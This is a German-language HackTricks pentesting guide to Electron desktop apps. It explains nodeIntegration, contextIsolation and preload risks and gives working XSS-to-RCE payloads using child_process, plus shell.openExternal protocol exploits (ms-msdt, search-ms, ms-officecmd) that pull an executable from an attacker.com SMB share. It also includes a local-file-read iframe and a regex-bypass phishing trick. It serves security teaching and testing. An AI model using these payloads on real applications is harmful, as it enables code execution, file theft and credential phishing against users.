hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-02-10 15:36:32 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated to German 2024-02-10 15:36:32 +00:00
electron-contextisolation-rce-via-ipc.md Translated to German 2024-02-10 15:36:32 +00:00
electron-contextisolation-rce-via-preload-code.md Translated to German 2024-02-10 15:36:32 +00:00
README.md Translated to German 2024-02-10 15:36:32 +00:00

Electron Desktop Apps

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Einführung

Electron kombiniert ein lokales Backend (mit NodeJS) und ein Frontend (Chromium), obwohl es einige der Sicherheitsmechanismen moderner Browser nicht hat.

Normalerweise finden Sie den Code der Electron-App in einer .asar-Anwendung. Um den Code zu erhalten, müssen Sie ihn extrahieren:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

Im Quellcode einer Electron-App, innerhalb von packet.json, findest du die Angabe der main.js-Datei, in der Sicherheitskonfigurationen festgelegt sind.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron hat 2 Prozesstypen:

  • Hauptprozess (hat vollen Zugriff auf NodeJS)
  • Renderer-Prozess (sollte aus Sicherheitsgründen den Zugriff auf NodeJS einschränken)

Ein Renderer-Prozess ist ein Browserfenster, das eine Datei lädt:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Die Einstellungen des Renderer-Prozesses können im Main-Prozess in der Datei main.js konfiguriert werden. Einige der Konfigurationen werden verhindern, dass die Electron-Anwendung RCE oder andere Sicherheitslücken aufweist, wenn die Einstellungen korrekt konfiguriert sind.

Die Electron-Anwendung kann über Node-APIs auf das Gerät zugreifen, obwohl dies verhindert werden kann:

  • nodeIntegration - standardmäßig deaktiviert. Wenn aktiviert, ermöglicht den Zugriff auf Node-Funktionen vom Renderer-Prozess aus.
  • contextIsolation - standardmäßig aktiviert. Wenn aktiviert, sind Haupt- und Renderer-Prozesse nicht isoliert.
  • preload - standardmäßig leer.
  • sandbox - standardmäßig deaktiviert. Es beschränkt die Aktionen, die NodeJS ausführen kann.
  • Node-Integration in Workern
  • nodeIntegrationInSubframes - standardmäßig deaktiviert.
  • Wenn nodeIntegration aktiviert ist, ermöglicht dies die Verwendung von Node.js-APIs in Webseiten, die in iframes innerhalb einer Electron-Anwendung geladen werden.
  • Wenn nodeIntegration deaktiviert ist, werden Preloads im iframe geladen.

Beispielkonfiguration:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Einige RCE-Payloads von hier:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Datenverkehr erfassen

Ändern Sie die Startkonfiguration und fügen Sie die Verwendung eines Proxys hinzu, wie zum Beispiel:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron Lokale Code-Injektion

Wenn Sie lokal eine Electron-App ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen JavaScript-Code auszuführen. Überprüfen Sie, wie dies möglich ist:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Wenn die nodeIntegration auf on gesetzt ist, kann der JavaScript-Code einer Webseite Node.js-Funktionen einfach durch Aufrufen von require() verwenden. Zum Beispiel ist der Weg, um die Rechneranwendung unter Windows auszuführen:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Das in dieser Einstellung angegebene Skript wird vor anderen Skripten im Renderer geladen, daher hat es uneingeschränkten Zugriff auf Node APIs:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Daher kann das Skript Node-Funktionen auf Seiten exportieren:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Wenn contextIsolation aktiviert ist, funktioniert dies nicht {% endhint %}

RCE: XSS + contextIsolation

Die contextIsolation führt zu getrennten Kontexten zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron, sodass die Ausführung des JavaScript-Codes sich nicht gegenseitig beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE zu eliminieren.

Wenn die Kontexte nicht isoliert sind, kann ein Angreifer Folgendes tun:

  1. Ausführung von beliebigem JavaScript im Renderer (XSS oder Navigation zu externen Websites)
  2. Überschreiben der integrierten Methode, die in Preload-Code oder internem Electron-Code verwendet wird, um eine eigene Funktion zu besitzen
  3. Auslösen der Verwendung der überschriebenen Funktion
  4. RCE?

Es gibt 2 Stellen, an denen integrierte Methoden überschrieben werden können: Im Preload-Code oder im internen Electron-Code:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Umgehung des Klickereignisses

Wenn Einschränkungen gelten, wenn Sie auf einen Link klicken, können Sie diese möglicherweise umgehen, indem Sie anstelle eines regulären Linksklicks einen Mittelklick ausführen.

window.addEventListener('click', (e) => {

RCE über shell.openExternal

Für weitere Informationen zu diesen Beispielen siehe https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 und https://benjamin-altpeter.de/shell-openexternal-dangers/

Bei der Bereitstellung einer Electron-Desktopanwendung ist es entscheidend, die richtigen Einstellungen für nodeIntegration und contextIsolation sicherzustellen. Es ist etabliert, dass die Ausführung von Remote-Code (RCE) auf der Client-Seite, die Preload-Skripte oder den nativen Code von Electron aus dem Hauptprozess zum Ziel hat, effektiv durch diese Einstellungen verhindert wird.

Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden spezifische Ereignislistener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Diese Listener werden von der Desktop-Anwendung überschrieben, um ihre eigene Geschäftslogik zu implementieren. Die Anwendung bewertet, ob ein navigierter Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird in der Regel durch eine Funktion namens openInternally getroffen. Wenn diese Funktion false zurückgibt, bedeutet dies, dass der Link extern geöffnet werden soll, indem die Funktion shell.openExternal verwendet wird.

Hier ist ein vereinfachter Pseudocode:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Die Sicherheitsbewährungen von Electron JS raten davon ab, unvertrauenswürdigen Inhalt mit der Funktion openExternal zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen könnte. Betriebssysteme unterstützen verschiedene Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erklärungen zu diesem Thema kann auf diese Ressource verwiesen werden, die Windows-Protokollbeispiele enthält, die diese Sicherheitslücke ausnutzen können.

Beispiele für Windows-Protokollexploits sind:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lesen interner Dateien: XSS + contextIsolation

Das Deaktivieren von contextIsolation ermöglicht die Verwendung von <webview>-Tags, ähnlich wie <iframe>, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:

Darüber hinaus wird eine weitere Methode zum Lesen einer internen Datei geteilt, die eine kritische Schwachstelle zum Lesen lokaler Dateien in einer Electron-Desktop-App hervorhebt. Dabei wird ein Skript eingefügt, um die Anwendung auszunutzen und Daten zu exfiltrieren:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Alte Chromium-Version

Wenn die von der Anwendung verwendete Chromium-Version veraltet ist und bekannte Sicherheitslücken aufweist, könnte es möglich sein, diese auszunutzen und über XSS RCE zu erlangen.
Ein Beispiel dafür finden Sie in diesem Writeup: https://blog.electrovolt.io/posts/discord-rce/

XSS-Phishing über Umgehung der internen URL-Regex

Angenommen, Sie haben eine XSS-Schwachstelle gefunden, können jedoch keine RCE auslösen oder interne Dateien stehlen, könnten Sie versuchen, diese zu nutzen, um Anmeldeinformationen über Phishing zu stehlen.

Zunächst müssen Sie wissen, was passiert, wenn Sie versuchen, eine neue URL zu öffnen, indem Sie den JS-Code im Front-End überprüfen:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Der Aufruf von openInternally entscheidet, ob der Link im Desktop-Fenster geöffnet wird, da es sich um einen Link der Plattform handelt, oder ob er als Ressource eines Drittanbieters im Browser geöffnet wird.

Wenn das Regex, das von der Funktion verwendet wird, anfällig für Umgehungen ist (zum Beispiel durch Nicht-Escapen der Punkte von Subdomains), könnte ein Angreifer XSS missbrauchen, um ein neues Fenster zu öffnen, das sich in der Infrastruktur des Angreifers befindet und Benutzeranmeldeinformationen anfordert.

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Werkzeuge

  • Electronegativity ist ein Tool zur Identifizierung von Fehlkonfigurationen und Sicherheits-Anti-Patterns in Electron-basierten Anwendungen.
  • Electrolint ist ein Open-Source-VS-Code-Plugin für Electron-Anwendungen, das Electronegativity verwendet.
  • nodejsscan zum Überprüfen von anfälligen Drittanbieter-Bibliotheken
  • Electro.ng: Sie müssen es kaufen

Labore

In https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s finden Sie ein Labor, um verwundbare Electron-Anwendungen auszunutzen.

Einige Befehle, die Ihnen bei dem Labor helfen werden:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referenzen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: